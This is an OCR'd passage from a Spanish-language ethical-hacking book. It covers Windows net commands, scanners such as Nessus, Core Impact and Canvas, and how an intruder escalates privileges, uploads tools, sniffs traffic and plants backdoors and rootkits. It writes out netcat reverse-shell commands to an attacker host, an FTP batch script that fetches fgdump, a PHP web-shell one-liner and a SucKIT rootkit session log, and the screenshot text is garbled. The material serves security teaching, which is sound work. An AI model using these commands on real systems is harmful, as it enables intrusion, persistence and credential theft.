estamos dentro de una red interna y tenemos que acercar recursos que se en-
cuentran en servidores en otro punto del dominio y sélo podemos ejecutar co-
mandos de red (de modo ciego) a través del servicio SQL server.

C:\>net use h: \\200.XX.XX.233\Backup mati /user:mati

Se ha completado el comando correctamente.

Dispositivos con almacenamiento extraible
) ‘ &Disco de 314 (A1) Disco de 314 pulgadas
F ‘ ' Unidad DVD-RW (D:) Unidad de CO
; Unidades de red
X L % Backup en "200. 233" {(H) Unidad de red 18,1 GB 3,27 GB

Otros

cv C:\WINDOWS\system32\cmd.exe 1N

IC:\Documents and Settings\E>NET USE h: \\208. .228.233\Backup mati /user:mati =

Se ha completado el comando correctamente.

IC:\Documents and Settings\&>

Unidad. Aqui se ve como, con el comando de mapeo,
se configuro el recurso compartido remoto como si fuera nuestra unidad H.

* Para administrar recursos compartidos locales:
C:\>net share

Nombre Recurso Descripcidn

Mas comandos
Si queremos mas informacion sobre este tipo de comandos, podemos visitar www.it-

g.edu.mx/vidatec/espacio/aisc/windowsnt/ComandosNET.htm o ejecutar net en nues-
tro prompt DOS para obtener mas variantes.
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ADMINS C:\WINDOWS Admin remota
C$ C:\ Recurso predeterminado

IPCS IPC remota

Se ha completado el comando correctamente.
C:\>net share C$ /del

C$ ha sido eliminado.

C:\>net share admin$ /del

admin$ ha sido eliminado.

C:\>net share admin$
El recurso admin$ ha sido compartido.

e Para ver los usuarios del host:

C:\>net user

Cuentas de usuario de \\LABORATORIO

AdminLAB Asistente de ayuda Invitado
SUPPORT 388945a0 UserLAb
Se ha completado el comando correctamente.

Herramientas recomendadas

Veamos ahora una serie de herramientas utiles para realizar la busqueda de vulne-
rabilidades y el posterior ataque.

Tenable Nessus

Antes de proceder a utilizar Metasploit contra un objetivo, la accion mas logica es la de en-
contrar de antemano sus vulnerabilidades (es recomendable hacetlo a mano primero) y, pre-
vio a ello, saber de qué sistema se trata. Como vemos, por algo estan definidos en etapas los
proyectos de seguridad en cuanto a chequeos, ya que el orden y la metodologfa son funda-
mentales. Tenable Nessus es un buscador de vulnerabilidades muy bueno y si bien
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en algunos reportes genera falsos positivos (las herramientas estan hechas por hu-
manos), esta en la pericia del analista reconocerlos y eliminarlos para no reportar-
los. A diferencia de Metasploit, Nessus busca vulnerabilidades, pero no trata de
explotarlas. Hace una revision de éstas a través de los casi 21000 plug-ins que po-
see actualmente y, en caso de encontrarlas, las mostrara en detalle en el reporte
que presenta al final del escaneo. ¢Qué pasa con las que no descubre? Para ello
esta nuestro conocimiento y la revision manual de cada uno de los servicios, apli-
caciones y entorno del objetivo.

S TENABLE

About us ®

Solutions

Products Nessus
Security Center Nessus Direct Feed LCE PVS

Demos News & Events

pDownioad

Srvan
2000t st g o g o
Omepten

e
T e

e

Nessus 3.2.0 for Linux
Nessus 3.2.0 forMac0SX10.4and 10.5
Nessus 3.2.0 for FreeBSD

Nessus 3.2.0 for Solaris
Nessus 3.2.0 for Microsoft Windows F

NessusClient 3.2.0 (the Linux graphical interface for nessusd)

Direct Feed
Improve your policy compliance
scanning abilities

Features

Fts Nessus main features
Nessus 3.0.6

Nessus 2.2.11 installer (all Unix systems)
Nessus 2.2.11 source code

Selecta product to download:

™ [ Download |

Bajar. Sitio de descarga de Tenable Nessus.

Esta herramienta es de libre descarga. Solamente es necesario it a www.nessus.org/
download/ y elegir de la lista la version que corresponde al sistema operativo que uti-
licemos. Es muy recomendable conocer la secciéon de documentacion de esta herra-

Editorial especializada

Desde el ano 1999, la editorial Hacking Exposed (www.winhackingexposed.com) ha pu-
blicado libros dedicados a mostrar las metodologias del hacking, sus técnicas mas co-
munes y sus herramientas. Con ellos, podremos aprender a defendernos de todas esas
amenazas.
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mienta ya que posee todas las guias necesarias para el usuario. Ademas, podemos uti-
lizar las listas de correo que encontramos en http://list.nessus.org para interactuar
con usuarios profesionales y resolver las dudas o problemas que se nos presenten.

{_’; Nessus : Untitled
File Help

pysssranll £5 Edit Policy

Metwork(s) to scan :

Policy | Options | Credentials | Plugin Selection | Metwork | Advanced |
192.168.0.22

:AIX Local Security Checks
Backdoors

CGI abuses

CGI abuses : XS5

CISCO

CentOS Local Security Checks =
Databases

Debian Local Security Checks

Default Unix Accounts

Denial of Service =
FTP

Fedora Local Security Checks

Finger abuses

Firewalls

FreeBSD Local Security Checks

Gain a shell remotely

Gain root remotely

General

Gentoo Local Security Checks

HP-UX Local Security Checks v

>

PRI REeER
FEEEEREEEEREREREEREEEE

|

Enable dependencies at runtime Show all

Silent dependencies

Disable all | | Enable all

[ Cancel ” Save ]

Politicas. Esta nueva y reciente version posee el sistema Cliente/Servidor
tal como tenia en Linux y FreeBSD. Esta es la pantalla para la edicion de politicas.
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Nessus User Management
&5 Add User &
I New Use B
pentest
Authentication: (® password O certificate
User Name: | J OK

Password: [
Confirm Password: \

Country (two letter code): [ ]

State or province: [—‘

r

Seteo. Pantalla del mddulo para agregar usuarios en Nessus.

Al instalar el programa, luego de aceptar la licencia de software mediante un clic, debemos
completar el formulario con nuestros datos. Es importante que el e-mail que ingresemos
sea real ya que alli nos sera enviado el codigo de activacion. Si queremos activarlo offline
deberemos ir -con el codigo que nos mostro al final de la instalacion a realizar el tramite a
http:/ /plugins.nessus.otg/offline.php. Allf recibitemos un archivo de registro y uno para
actualizar los plug-ins.

Otra forma es ejecutar el archivo:

C:\Archivos de programa\Tenable\Nessus\Registration.exe y alli colocar el codi-

go. Una vez instalado, para agregar un usuario tenemos que ejecutar el archivo:
C:\Archivos de programa\Tenable\Nessus\UserMgmt.exe.

Una vez que hemos agregado el usuario, el cliente se conectara al server con ese
usuario y procedera a realizar la busqueda de las vulnerabilidades.

Para configurar el servidor en donde se conectara el cliente debemos ejecutar:
C:\Archivos de programa\Tenable\Nessus\ServerConfig.exe.

Podemos ver todo el proceso en el video de 12 minutos que encontramos en
http://cgi.tenablesecurity.com/demos/nessus-3.2-intro/nessus-3.2-in-
tro.html.

Consejos.

Si deseamos instalarlo en FreeBSD 5, debemos asegurarnos de tener instalados
los ports M4 y bison, si no, nos dara error al querer utilizarlo. Ya existe una ver-
sion para FreeBSD 6 y 7. Por otro lado, si por alguna razén utilizamos una ver-
sion anterior (3.1), existe una configuraciéon especial para Windows XP SP2, ya
que se pueden producir falsos positivos por las caracteristicas de TCP/IP im-
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plementadas en ese service pack por Microsoft (http: / /technet.microsoft.co-
m/es-at/library/bb457156(en-us).aspx). Si no es posible instalarlo en un Win-
dows 2003, deberemos configurarlo en XP de la siguiente manera:

Max number of hosts: 10*
Max number of security checks: 4
Max number of packets per second for a port scan: 50

Luego, en C:\Archivos de programa\Tenable\Nessus\config, editamos el archivo
config.default.xml y, en la secciéon SYN Scan, cambiamos el 500 a 50 de esta for-
ma: <value><!|[CDATA[50]]></value>. (*Fuente: www.oreillynet.com)

Vulnerabilidades
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5 Nessus : Untitled

Scan R t s .
SR E= Nessus Server Configuration

Network(s) to scan :

) Nessus Scanner Service

- Listen Address
Server IP: 1227.0 .0 .1 Port: 6565

Mote: Use this tool to configure which IP address and port Nessus Server
will listen to. Unless you need to connect to this server from the Tenable
Security Center or remote Nessus client, you should not make changes to
the default settings.

-Plugin Update Scheduler -
[V Update plugin every |24 hour(s)

I Purge the plugin database at each update (slower)

Save I Exit |

- Edt...| [+ [- Edit...
Scan Now
(Gt )

Conexiodn. Este servidor seré el que reciba la conexion del cliente
Nessus para iniciar el chequeo. Alli podemos especificar direccion IP y puerto.

CORE IMPACT 7.5

Esta primera plataforma automatizada de penetration testing es, simplemente, ex-
celente (www.coresecurity.com/products/coreimpact/). Este software es comet-
cial y podemos participar de sus webcasts logueandonos en www.coresecurity
.com/?module=ContentMod&action=allnews&type=webcasts. Su evolucién y su
desarrollo han sido mejorados version a version.

Posee 667 exploits (contra 230 de Metasploit) y 467 médulos delimitados en:

» Agentes * Deniales de Servicio * Exploits * Exportar-Importar ¢ Information
Gathering * Mantenimiento * Miscelaneas *  Mis Macros * Reportes ¢ RPT

* Ejemplos ¢ Herramientas de servidor * Shells.
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View Modules Tools Help

Open Workspace

) [ ] 9 == ]
2007 2007 2007 2007 2008 2008 2008
September  October  November ~ December  January February March
— — Modules by category
ype:  General Category
from: June 1, 2007 Remote Exploits
0: June 13, 2008 Local Exploits
s Client-side Exploits
ial ice (DoS) Exploits 22
bays Left: 102 (Rilities s [l
Total 467

Target entry points

o S Jeons — Lonae raroets |
Windovs Vista 26 66
Windovs 2003 &3 se1
Windovs XP. 153 547
Windovs 2000 182 2166
Windovs NT 19 24
Linux 142 411
Solaris 30 e
AIx 3 s
Mac 05 X 7 26
OpenBsD 15 41
FreeBSD 7 17
o

Corel. Pantalla de inicio de CORE IMPACT en la que
podemos ver la cantidad de exploits por sistema operativo, las
actualizaciones mes a mes de la herramienta y los mddulos por categoria.

=g

DeseaaliralirEOgE

x

Visibilty View | Generic View Web View

Install O Agent on Microsoft SQL Server
Install OS Agent on Oracle
Install OS Agent using RFI Agent (PHP)
2 Exploits
(2 Remote File Inclusion
Known Vulnerabilities
7 phpBB2 20.15 Remote File Inclusion
phplobScheduler 3.0 Remote File Inclusion
PHP Remote File Inclusion Analyzer
(22 5QL Injection
3 Analyzer plugins
(2 Session termination prevention
3 Session arguments avoid list
SQL Injection Analyzer
% SQL Query Extractor
(D) Information gathering
(2 Discovery
122 Web Crawler plugins
(2 Session management
[ Web Proxy
WebApps Web Crawler
(D Identification
Application Framework Fingerprinter
[ Web Server Fingerprinter
Dtocal
[ Enumerate Linked Servers (MSSQL)
Get Databases Logins
[ Get Databases Schema

Finished Status|

Core2. En esta pantalla, podemos ver el panel con

Mas recursos
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sus modulos desplegados. No solo son exploits, ya que posee
una buena cantidad de herramientas para extraer informacion del objetivo.

Los siguientes son modulos RPT (Rapid Penetration Test):

* RPT view (client-side RPT): Client-side Information Gathering, Client-side At-
tack and Penetration, Local Information Gathering, privilege escalation, Clean
up, client-side report generation. * Network RPT: Network information gathe-
ring, Network and attack penetration, Local information gathering, Privilege
escalation, Clean Up, Network report generation. * WebApps RPT: Webapps
information gathering, WebApps Attack and penetration, WebApps Report ge-
neration.

IMMUNITY CANVAS

Esta es otra plataforma de trabajo muy interesante, cargada con algo mas de 150
exploits. También es una aplicacién comercial, y su direccién es www.immunitysec-
.com/products-canvas.shtml.

5 Immunity, CANVAS (http:/Awww.immunityinc.com/)

Action Listeners Hosts Exploit Action Configuration

Current Callback 1P 127.0.0.1

Name Description A IDRACLE INFO GATHERING
LRI LULGI dULGLRS LidL Tul racle <= Oracle Info
& Windows Attacks against Micrc ISAGE: Run this against a suspected Oracle database to gather some information about it.
@ Unix Attacks against Unix ‘ersion 10 does not allow you to gather a list of databasenames.
# Web Exploits Various tools for expl
@ Clientside Client-Side attacks Target [Add To Targets][Remove from Targets]
# Commands Commandstorunon ~ Node Tree
8 Tooks Various tods Y ——
VulnAssess Safe Yulnerability Ass .,
< | >

| CANVAS Log | Debug Log
and Nicolas Waisman

Local IP=
Did not find userdata file

If you are getting close to expiring, contact 212-534-0857 or admin@immunityinc.com
to renew!

Halting exploit

GUL. Canvas ejecutado en Windows
(requiere Python). La version actual es la 6.32.
En www.immunitysec.com/products-documentation.shtml, podemos ver, a
través de videos, como funciona esta herramienta.
Posee los siguientes modulos:
* Exploits: Locals, Windows, Unix, Web Exploits, Clientside. * Commands
* Tools * Recon * DoS ¢ Listener Shells ¢ Servers * Importexport ¢ Configuration.
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Para finalizar, es interesante la revision de productos de seguridad que podemos
encontrar en www.scmagazineus.com/Vulnerability-assessment-2007 /
GroupTest/16/. Alli hay que hacer click en el nombre de cada uno de los progra-
mas para ver los detalles de su andlisis. Todas estas herramientas tienen médulos y
exploits que las hacen unicas que, utilizadas a conciencia y en integracion, ayuda-
ran a realizar un muy buen chequeo exhaustivo.

De todos modos, la herramienta mas importante que podemos tener es nuestra
mente, y el mejor método va a seguir siendo, por afos, corroborar las vulnerabili-
dades a mano con tiempo y detenimiento. La automatizacién es buena siempre y
cuando comprendamos qué es lo que estamos haciendo (sumado a un tipo de
entorno que puede ser numeroso y asi lo requiera) y qué cosas estamos dejando de
ver como resultado de ello.

El intruso adentro

Una vez que el intruso logra estar dentro del servidor, en la shell de comandos o
prompt, ¢qué sucede? En principio, hay que ver qué intenciones y habilidades tie-
ne éste y, por otro lado, el estado o contexto del escenario en cuanto a seguridad
informatica y administracién. No es lo mismo un intruso que sélo deforma un si-
tio web que aquel que quiere permanecer invisible a los ojos del administrador y
desea interceptar la informacion de la organizacion o institucion, o bien usar ese
servidor para atacar a otros de la red interna.

Al primero de ellos, se lo puede mantener alejado con administracion segura y de-
dicada, pero al segundo va a costar un poco mas. La proacciéon para no padecerlo
debe incluir concientizaciéon de los empleados de la organizacion, ethical hacking,
seminarios de seguridad para el personal (basados en el sistema de informacién de
la organizacion), entrenamiento en ingenierfa social, politicas de seguridad, alinea-
mientos a normativas, controles de registros de sistema, administradores con per-
fil de seguridad y, por ultimo, planes técnicos y legales de reaccion a incidentes.
Es muy posible que un intruso habil lleve a cabo las siete acciones que veremos a
continuacion, validas para todos los sistemas operativos utilizados en servidores.

Elevacidén de privilegios

El atacante intentara, en principio, elevar su privilegio de usuario si no es que ya po-
see uno alto por la explotacion de una vulnerabilidad de modo remoto (cortiendo con
elevados privilegios claro). Intentara ejecutar comandos como usuario root (uid0) en
Unix/Linux o Administrador/ Administrator o System en Windows. Sea cual sea el
nombre de la cuenta, lo que realmente importa es el privilegio que esa cuenta tenga
dentro del sistema operativo. La finalidad de esto es poder realizar cualquier tarea den-
tro del sistema sin impedimentos ni limitaciones en cuanto a comandos, lectoescritu-
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ra, ejecucion o administracion de procesos y servicios.

Lo normal es que utilice o intente utilizar un exploit local para explotar alguna
vulnerabilidad existente conocida o que la descubra en esa sesién de ataque. Tam-
bién puede ser a través de un descuido, encontrando informacion sensible en logs
o archivos, por ejemplo. En milwOrm (www.milwOrm.com) es posible encontrar
una lista de exploits locales para Windows a la fecha. Como podemos ver en la lista,
es posible escalar a través de una aplicacion, servicio del sistema, servicio de una apli-
cacion de terceros o kernel. A esto, hay que sumarle los exploits que son privados
(Oday no publicos), ya sea de empresas de seguridad, programadores de exploits
que desean no hacerlo publicos o quien sea que los haya conseguido o comprado.

Veamos el output (salida de pantalla) del preparado de un archivo que explota una
falla de Office 2003 en la mayoria de las plataformas Windows.

C:\>local

Microsoft Office .WPS Stack Overflow
Adam Walker (c) 2007
[ ] Targets:

(1) Windows XP SP2 ntdll.dll de
Usage: wps.exe <target> <file>

C:\>local 1 doc

[ +] Creating WPS header...

[ +] Copying addr && nops && shellcode...
[+] .WPS file succesfully created!

Maneras de subir o de crear un archivo en el objetivo

Un atacante tiene varias formas de hacer llegar un archivo dentro del servidor objetivo:

¢ Escribiéndolo o creandolo con el editor vi.

* Descargandolo de la Web mediante una sesion grafica a través de un browser o
desde una shell a través de lynx o wget.
Weet para Windows: www.intetlog.com/~tcharron/wgetwin-1_5 3 1-binary-
.zip. Lynx para Windows: http:/ /fredlwm.googlepages.com/lynx.zip.

214



@ - G 24 |7 http:fjthomer.comfvifvi.html#versions

Unix, MS-DOS, Windows, and 0S/2

This overview is not frequently updated! You should check for newer versions.

Unix andor MSDOS  |Windows3x|  groreres os2

vim? vim-6.3.tar.hz2 vim63d16.zip Use MS-DOS avimB3.zip vim630s2.zip
Bds? | evs220mrg | plilnl  etweise|  SEE | Sk
VILE vile-tar.gz vile-dos.zip Not available vile-w32.zip vile-082.zip
Lemmy Not avallable Not avallable Not available lemmy42.exe Not avaliable
Nvi nvi-1.79.tar.gz Not avaliabie Not avaliabie Not avaiiabie Not avaliabie
Stevie Not available stevie69s.zip° Not available Not available stvi3699.zip
WinVi wsrc297.zip Not available winvi16.zip winvi32.zip Not available
xvi Xi2.47 tgz xviexe.zip Not availabie Xi.zip Not avaliable
Pvic Not avaliabie pvic_dos.zip Not avaliabie Not avaliabie Not avaliabie
Calvin Not availabie calvin23.zip Not availablie Not available Not available
Bvi bvi-1.3.2.src tar.gz Not available Not available Not avaliable Not avaliabie
ex-vi ex-040605 tar.gz Not availabie Not available Not avaliable Not availabie
levee levee-current.tar.gz Not avaliabie Not avaliabie Not avaliabie Not avaiiable
BusyBox's vi 1b3 ; \;2 ?_);z Not avaliabie Not avaliabie Not avaliabie Not avaiiabie

Editor. Vi, una herramienta nativa de Linux. Para Windows
existen algunas versiones para linea de comando e interfaz grafica.
En www.thomer.com/vi/vi.html#fversions, estan todas las disponibles.

¢ Copiandolo como texto y compilandolo (con vi o con algun cliente de conexiéon
tipo SecureCRT). Podemos encontrar recursos en www.vandyke.com.

¢ Subiéndolo por recurso compartido:
Puerto 139: \\XXX.XX.144.147\ c$\Inetpub\scripts\netcat.exe se sube.
Puerto 80: http://XXX.XX.144.147 /scripts /netcat.exe se ejecuta.

e Utilizando FTP de modo directo desde la consola o en modo batch:

:\>echo open 200.0.0.0>e.txt
:\>echo usuario>>e.txt
:\>echo password>>e.txt
:\>echo binary>>e.txt

:\>echo get fgdump.exe>>e.txt
:\>echo get wget.exe>>e.txt
:\>echo bye>>e.txt

:\>ftp -s:e.txt

@ @ @ @ @ @ @ @

FTP ejecuta, en modo secuencial, todos los comandos y datos contenidos en el
archivo e.txt (http://support.microsoft.com/kb/96269).
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¢ Utilizando alguna herramienta que aproveche una vulnerabilidad en el objetivo
para escribir un archivo y compilarlo. Por ejemplo, SQLninja, a través de SQL
Injection (http://sqlninja.sourceforge.net/sqlninja-howto.html#ss2.6), su-
be archivos escribiéndolos via requests http GET y POST.

* Empleando un servidor tftp en la shell atacante y el cliente tftp desde el objetivo
(GET atchivo). Podemos encontrar un recurso en www.solarwinds.com/ptro-
ducts/freetools/free_tftp_server.aspx.

* Via PHP shell (o PHP script <? system($cmd); ?>) o ASP Shell, escribiendo
o subiendo archivos mas alld del path del sitio hosteado en el servidor. Recur-
so: www.esnips.com/web/phpshells.

* Enviandolo por e-mail a alguna casilla de correo del servidor. En www.winzip
.com/es/uuencode.htm, encontraremos una forma ficil de decodificar adjun-
tos de e-mails (guardando el cédigo del archivo adjunto al e-mail como un archi-
vo de extension .uue desde el primer caracter luego de la segunda comilla doble
de filename hasta el simbolo = del final para luego abrirlo con Winzip).

¢ Utilizando netcat si es que éste esta presente en el objetivo:
$ nc -1 -p 2000 > exploit.txt (en la maquina objetivo).
$ nc ip-destino 2000 < exploit.txt (desde la shell del atacante).

Busqueda de informacidén sensible y analisis

Un intruso también buscara saber todo lo referente al sistema, su contexto, sus
usuarios y servicios, dispositivos de seguridad, logs, filtrado y localizacién de los
activos de la organizacion. La finalidad de esto es reconocer el terreno, las posibi-
lidades de ser descubierto, de dejar rastros y de explotar el sistema o la red, encon-
trar informacion sensible en el sistema operativo y encontrar el activo deseado o
lograr el objetivo impuesto.

Para ello, el intruso se puede valer del conocimiento previo del sistema operativo
(determinados logs, carpetas de usuarios, registros varios, procesos), los coman-
dos nativos disponibles del sistema operativo o utilidades existentes de adminis-
traciéon como el Resource kit de Windows 2000/2003 (www.petri.co.il/down-
load_free_reskit_tools.htm), por ejemplo, o las Pstools.

Reverse shell con Netcat

Logramos esto si, en nuestro prompt DOS (windows) o en la shell (Linux], ejecutamos
nc -v -l -p 7878 y en la maquina objetivo lo siguiente: C:\inetpub\scripts\nc.exe ip.she-
ll.atacante 7878 —e cmd.exe, en Windows y /tmp/nc ip.shell.atacante 7878 -e /bin/bash,
en Linux.
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El intruso se preguntara cosas como qué procesos esta corriendo el servidor en es-
te instante. Para saberlo, puede ejecutar pulist.exe y se enterara. Supongamos que
el atacante ve un proceso en ese listado y lo identifica con un antivirus que va a de-
tectar algun archivo suyo. Se pregunta: ¢debo matar ese proceso? En caso afirma-
tivo, lo hara con kill.exe. Para averiguar como es la configuracion de red, ejecutara
los comandos route print, ipconfig, systeminfo y los comandos net para ver las
maquinas del dominio y los usuarios. Por otro lado, buscara determinados archivos
con el comando dir. Por ejemplo, puede buscar archivos en todo el disco -incluso
subdirectorios- con el atributo Archivo (generados o manipulados por los usuarios)
y dejar el resultado en archivos.txt con el comando dir /s /aa>archivos.txt.
Podemos ver mas ejemplos en http://es.wikipedia.org/wiki/Dir_(Comando_de-
_DOS). Si deseamos saber mas acerca del comportamiento de diferentes intrusos,
es recomendable investigar sobre honeypots en Google. Ademas, podemos encon-
trar excelentes herramientas gratuitas de administracion, auditorfa y seguridad en si-
tios como www.ntsecurity.nu/toolbox/, www.microsoft.com/spain/technet/sy-
sinternals/utilities/PsTools.mspx, www.foundstone.com/us/resources-free-tool-
s.asp.

Captura de paquetes y contrasenas

El atacante realizara sniffing en su intento por interceptar trafico de red: contra-
sefias, documentos o contenidos de e-mails con strings, como contrasefia, tatje-
ta de crédito, deposito, usuario, homebanking o plan. Ademas, con la practica
denominada keylogging, intentara recolectar todo aquello que el administrador
o los usuarios tipeen en el objetivo comprometido y lo almacenara de modo se-
creto o se lo enviara por e-mail para su posterior analisis. La primera técnica es-
ta orientada al trafico de red (transito de paquetes), mientras que la segunda es-
ta destinada a comprometer terminales de trabajo a través de un dispositivo 1/O
como el teclado. Mediante ambas técnicas el intruso puede conseguir passwords
que le permitiran lograr acceso como un usuario validado y asi obtener informa-
cién para su posterior uso.

El sniffing se da en la capa de enlace del modelo OSI y se utilizé en un principio
para detectar problemas de trafico en redes (cuellos de botella), pero se terminé
empleando también para espiar trafico en transito, mas precisamente datos e infor-
macion sensible. Cuando hablamos de sniffing, se utilizan dos términos:

¢ Sniffing pasivo: Es aquel modo en el que se intercepta y se lee trafico de red a
través de una placa de red —interfaz- en modo promiscuo (apta para que los pa-
quetes de otras maquinas de la red pasen por ahi y sean capturados) sin modifi-
car el trafico. Este es el caso cuando un servidor de correo es comprometido por-
que se le instala dsniff, y éste graba todos los logins de los clientes POP3 que se
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conectan al mismo servidor.

* Sniffing activo: Es aquel modo en el que se logra el sniffing a través de otra téc-
nica como, por ejemplo, el envenenamiento de caché (ARP Cache Poisoning) para
que, mediante un engano, el trafico de determinada maquina sea redireccionado
por otra hacia la nuestra. De ese modo, el trafico es capturado y analizado. Esto
sucederfa en el escenario de una red local y se da en la técnica que se conoce co-
mo man in the middle. Podemos realizarlo muy facilmente sobre sistemas Win-
dows en una red LAN con la aplicacién Cain. En www.irongeek.com/videos-
/cainl.avi, podemos ver un video.

Para probar el grado de vulnerabilidad de nuestros equipos y asi evitar el ingreso
de intrusos o el robo de datos, en los siguientes sitios podemos encontrar herra-
mientas para llevar a cabo las pruebas de este tipo de técnicas: www.oxid.it-
/cain.html, http://ettercap.sourceforge.net y www.monkey.org/~dug-
song/dsniff/.

cC X 7‘ Http:f!www;Ni;eshérlﬁio'gfi

Home  About Download GetHelp Develop Buy Tools Wiki

| (Google Seareh |
Get Wireshark Now

0.99.8 for Windows

nd others

Wireshark is an award-winning network
protocol analyzer developed by an
international team of networking experts.

Learn more...

GetiyYourdEREE!Sharksl!

Herramienta de Microsoft

Existe una herramienta de Microsoft que nos permite detectar interfaces en modo pro-
miscuo. Esta herramienta es gratuita, se llama promgry y la podemos descargar de
http://support.microsoft.com/kb/892853/es, donde ademas encontraremos informa-
cion sobre como utilizarla y sus caracteristicas.
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Intercepciodn. Wireshark es un proyecto que se inicié hace diez afios y que
es utilizado para la captura y el analisis de paquetes de datos (o analizador
de protocolos de red). Podemos bajarlo para su testeo desde www.wireshark.org.

Plantar backdoors o puertas traseras

Si el intruso tiene interés de volver a entrar en el futuro, va a instalar backdoors.
Ademas, puede cerrar la puerta por donde entré (mitigar la vulnerabilidad) para que
otros intrusos menos habiles no logren entrar, ya que de ese modo todos termina-
rfan siendo descubiertos por el administrador a cargo del sistema o del servidor. La
finalidad de instalar el backdoor es volver a ingresar y hacer uso de los recursos de
un modo mas limpio, sin dejar tanto rastro, es decir, no tan expuesto como cuan-
do realiz6 la etapa inicial de ataque.

Hay muchas formas de realizar el backdooring.

Este se puede llevar a cabo a través de:

* Un servicio nativo del sistema operativo como puerta trasera: un server Telnet,
FTP o Terminal Service corriendo en diferente puerto seteado desde el mismo re-
gistro de Microsoft Windows. Esto tiene como ventaja que nunca sera catalogado
como malware por los antivirus ni detectado por una herramienta antispyware.

* Un administrador remoto como VNC, Pcanywhere, Radmin, etcétera.

* Dejar una shell en asp o php (u otro lenguaje de programacion) oculta en un si-
tio del servidot.

* Reemplazar una aplicacion nueva por una version anterior que sea vulnerable.

* Modificar una aplicacion presente para que ante determinada inyecciéon de codi-
go en el campo de datos permita ejecutar comandos de sistema, filtrando las in-
yecciones mas comunes.

¢ Instalar una botnet: la maquina objetivo se conecta a través de un enlace a un ca-
nal IRC en donde los usuarios que tengan acceso alli podran ejecutar comandos
desde el mismo canal de modo remoto y anénimo, tal como hoy se realizan la ma-
yoria de los ataques DDoS. Este es un método para nada sutil, pero atn se utili-

Utilidades para manipular paquetes

Si nos interesa aprender técnicas relacionadas con la manipulacién de paquetes, es
recomendable practicar con las siguientes utilidades: Packit (www.packetfactory.net-
/projects/packit/), hping2 (www.hping.org/hping2.win32.tar.gz), Scapy (www.secde-
v.org/projects/scapy/), Nemesis (http://nemesis.sourceforge.net).

219



za.

Agregar o habilitar un usuario deshabilitado.

Linkear una shell o prompt con privilegio System. En http://blog.didierste-
vens.com/2006/08/21/playing-with-utilmanexe/, podemos ver un método
muy ingenioso.

Colocar netcat como servicio en una tarea programada para que, a determinada
hora en determinado dfa, inicie una shell local en el servidor o se copie a la car-
peta /Scripts del webserver IIS.

* Modificar un script para lograr subir un archivo a un path que se ha hecho eje-

cutable.

* Programar una tarea para que un determinado dfa se agregue un usuario del gru-
po administrador y que a determinada hora se borre junto a los logs de sistema.
Instalar un rootkit que posea propiedades de backdoor. Por ejemplo, uno muy lo-
grado es Suckit (www.phrack.org/issues.html?issue=58&id=7#article), que
puede esconder archivos, procesos y conexiones, grabar las passwords tipeadas
de conexiones SSH y no abrir puertos en el objetivo. Fue utilizado en la famosa
intrusion a los servidores de los desarrolladores de Debian GNU/Linux. A
continuacion, vemos un log de conexion que les generé de muestra:

sh-2.05# ./login -h 200.00.xx (SucKIT posee un cliente para la conexion)
[ ===== SucKIT version 1.3a, Oct 13 2005 <http://sd.g-art.nl/sk>
[ ====== (c)oded by sd <sd@cdi.cz> & devik <devik@cdi.cz>, 2002
Listening to port 37552

password:

Trying 200.00.00.00:53...

connect: Connection refused

Trying 200.00.00.00:79...

connect: Connection refused

Trying 200.00.00.00:110...

Trying...Et voila (conectado al puerto de pop3 on the fly)
Server connected. Escape character is ‘"K'

TCP/IP

En el buscador www.btmon.com, podemos encontrar material para estudiar la familia de
protocolos TCP/IP. Ademas, es muy conveniente leer el trabajo de Guillem Campos Le-
do, llamado Debilidades de TCP/IP, que encontramos en http://asignaturas.diatel.up-
m.es/seguridad/trabajos/.
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[ ===== SucKIT version 1l.3a, Nov 28 2005 <http://sd.g-art.nl/sk> =====]
[ ====== (c)oded by sd <sd@cdi.cz> & devik <devik@cdi.cz>, 2002 ======]

[ root@lab /1# w (aqui ya estamos como root en la maquina objetivo)
04:55:53 up 19 days, 10:32, 0 users, load average: 0.00, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

Troyanos binarios y de kernel

El intruso instalara troyanos binarios y de kernel para disimular su presencia, a tra-
vés del ocultamiento de los procesos que genera y de las herramientas que mantie-
ne funcionando dentro del servidor. Un ejemplo de esto son los sniffers, escaneres
de red o crackeadores de contrasenas cifradas, que generalmente forman parte de
un rootkit. La finalidad de usar estas utilidades es la de no ser descubierto.

En Windows es bastante facil disimular un proceso porque basta con renombrar el
archivo del atacante para denominarlo svchost.exe. Asi, éste pasara desapercibido
al verlo ejecutado en el TaskManager (que aparece al presionar Crtl+Alt+Del), es
decir, aparecera como si fuera un proceso del sistema. Tiene que ser un intruso muy
descuidado como para que al administrador del servidor le llame la atencion la can-
tidad de recursos de CPU que ese archivo consume y que en ese momento trate de
ver si es el archivo nativo de Windows u otro. SpyAgent (un poderoso monitor pa-
ra Windows) utiliza, por ejemplo, el nombre de archivo svchost.exe y, en su dltima
version, no es detectado por los antivirus.

En Linux, el mecanismo es diferente. Aqui pueden ocultarse mediante la instala-
cién de una version troyanizada del binario. ¢Qué significa esto? Supongamos que
un administrador Linux desea listar los procesos del servidor porque sospecha al-
go. Seguramente, ejecutara los comandos ps y Isof. Cuando el intruso los troyani-
za, reemplaza esos archivos por otros que, al ser ejecutados, no listaran o mostra-
ran las utilidades del intruso que fueron ejecutadas. Estos procesos fantasmas e in-
visibles estaran definidos en un archivo de configuracion en esos binarios troyani-
zados. Si el administrador Linux es medio desconfiado, mirara los binarios, pero si

Rootkit

Los rootkits son kits (en archivos o en cddigo) que usan los intrusos como intento de
perpetuar su estadia en los sistemas, ocultandose y generando una via trasera de in-
greso. En www.rootkit.com, podemos encontrar una coleccion de éstos, ademas de fo-
ros, notas interesantes y nuevos detectores de malware.
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el intruso es listo, utilizara el comando touch —r para darles la misma fecha y hora
que al resto de los archivos, y asi los hara pasar como si fueran originales. La uni-
ca forma de detectarlos serfa haciendo una comprobacion del tipo checksum de los
binarios o pasandole al servidor un antirootkit como chkrootkit (www.chkrootki-
torg/download/), con el que se podrd descubrtir que tanto ps como lsof son tro-
yanos que ocultan procesos del intruso al ser ejecutados.

También pueden troyanizarse servicios como SSH, Telnet o Rlogin que, al entrar con
determinado comando o usuario, dan una shell root en el sistema. Hoy en difa, hay
muchos archivos troyanizados de este tipo (no hablamos de troyanos como subse-
ven o netbus que s6lo servian hace afios para infectar terminales Windows 95/98 y
ME). Otro ejemplo ocurre cuando el administrador quiere ver archivos a través de
los medios normales de busqueda. Es muy probable que el intruso haya colocado
versiones troyanizadas de Is o find que al ser ejecutadas no listaran las herramien-
tas o los exploits que tiene ocultos el intruso en un directorio de ese Linux.

